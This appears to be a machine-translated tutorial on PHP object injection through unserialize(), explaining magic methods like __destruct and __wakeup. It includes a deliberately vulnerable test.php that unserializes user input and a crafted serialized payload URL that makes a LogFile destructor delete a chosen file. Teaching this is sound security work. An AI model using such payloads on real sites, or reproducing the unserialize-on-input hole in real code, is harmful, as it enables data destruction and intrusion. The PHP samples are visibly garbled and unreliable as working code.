PHP Object injection is a very common vulnerability, although this type of vulnerability is somewhat difficult to exploit, but still very dangerous. This article is mainly to share with you PHP on the anti-serialization of the object injection vulnerability, I hope to help everyone.
Analysis
PHP Basics
Serialize an object into a string, which can be used to save
Unserialize the serialize serialized string into an object
The PHP class may contain special functions called magic Functions, and the Magic function name begins with the symbol __.
such as __construct, __destruct, __tostring, __sleep, __wakeup and so on.
These functions are called automatically in some cases, such as
__construct is called when an object is created,
__destruct is called when an object is destroyed.
__tostring when an object is used as a string.
Examples Show
As an example:
<?php class TestClass {public $variable = ' This is a string '; Public Function printvariable () { echo $this->variable. ' <br/> '; } Public function __construct () { echo ' __construct <br/> '; } Public Function __destruct () { echo ' __destruct <br/> '; } Public Function __tostring () { return ' __tostring<br/> '; } } $object = new TestClass (); $object->printvariable (); echo $object; ? >
PHP allows you to save an object for later reuse, a process known as serialization.
Why should there be serialization of this mechanism?
During the passing of a variable, it is possible to encounter the process of passing a variable value across a script file. Imagine, if you want to invoke a previous script in a variable, but the previous script has been executed, all the variables and contents are released, how do we do it? Do you want the previous script to loop continuously, waiting for the script to be called later? This is certainly unrealistic.
Serialize and unserialize are used to solve this problem. Serialize can convert a variable to a string and save the value of the current variable in the conversion, and Unserialize can transform the serialize generated string back into the variable. This is the perfect solution for cross-script transmission and execution.
The Magic function __construct and __destruct are automatically invoked when the object is created or destroyed;
The __sleep Magic method is called when an object is serialized;
The __wakeup Magic method is called when an object is deserialized.
<?phpclass User {public $age = 0; Public $name = '; Public Function Printx () { echo $this->name. ' Is ' $this->age. ' Years old.<br/> '; } Public function __construct () { echo ' __construct<br/> '; } Public Function __destruct () { echo ' __destruct<br/> '; } Public Function __wakeup () { echo ' __wakeup<br/> '; } Public Function __sleep () { echo ' __sleep<br/> '; Return Array (' name ', ' age '); } } $USR = new User (); $usr->age =; $usr->name = ' John '; $usr->printx (); Echo Serialize ($USR); Echo ' <br/> '; $str = ' O:4: "User": 2:{s:3: "Age"; I:20;s:4: "Name"; s:4: "John";} '; $user 2 = unserialize ($STR); $user 2->printx ();? >
Now we understand how serialization works, but how do we use it?
There are several possible methods, depending on the application, the available classes, and the Magic function.
Remember that the serialized object contains the object values that the attacker controls.
You might find a class that defines __wakeup or __destruct in the Web application source code, and these functions affect the Web application.
For example, we might find a class that temporarily stores logs in a file. When destroying, the object may no longer need the log file and delete it. Save the following code as log.php.
<?php //log.php class LogFile { //log file name public $filename = ' error.log '; Store log file public function Logdata ($text) { echo ' log some data: '. $text. ' <br/> '; File_put_contents ($this->filename, $text, file_append); } Delete log file public function __destruct () { echo ' __destruct deletes "'. $this->filename. ' "File. <br/> '; Unlink (DirName (__file__). '/' . $this->filename); } } ? >
Test.php assumes that this is a PHP for the user.
<?php //test.php include ' logfile.php '; // ... Some code that uses the LogFile class ... Simple class definition class User { //class Data public $age = 0; Public $name = '; Output data public function Printdata () { echo ' User '. $this->name. ' Is '. $this->age. ' Years old. <br/> '; } } Rebuilding data entered by the user $usr = unserialize ($_get[' usr_serialized '); >
123.php
<?php //123.php include ' logfile.php '; $obj = new LogFile (); $obj->filename = ' 1.php '; Echo Serialize ($obj). ' <br/> '; ? >
Start with a 1.php:
Now the user passes in a serialized string, test.php it back,
Http://127.0.0.1/test.php?usr_serialized=
O:7:%22logfile%22:1:{s:8:%22filename%22;s:5:%221.php%22;}
As a result, the parsed object, in the release process, called the log.php __destruct () function, the file 1.php was deleted.
Use summary
Inject serialized objects where the variables are controllable and perform unserialize operations, implementing code execution or other pit-daddy behavior.
Let's not talk about __wakeup and __destruct, there are some very common injection points that allow you to exploit this type of vulnerability, and everything depends on the logic of the program.
For example, a user class defines a __tostring in order for an application to be able to output a class as a string (echo $obj), and other classes might define a class that allows __tostring to read a file.
You can also use other magic functions:
If the object will call a nonexistent function __call will be called;
If an object tries to access a non-existent class variable __get and __set will be called.
But the use of this vulnerability is not limited to magic functions, the common function can also take the same idea.
For example, the user class might define a get method to find and print some user data, but other classes might define a get method that fetches data from the database, which can lead to SQL injection vulnerabilities.
The set or write method writes data to arbitrary files, which can be used to obtain remote code execution.
The only technical problem is the classes available for injection points, but some frameworks or scripts have the ability to load automatically. The biggest problem is people: understand the application to be able to exploit this type of vulnerability, because it may take a lot of time to read and understand the code.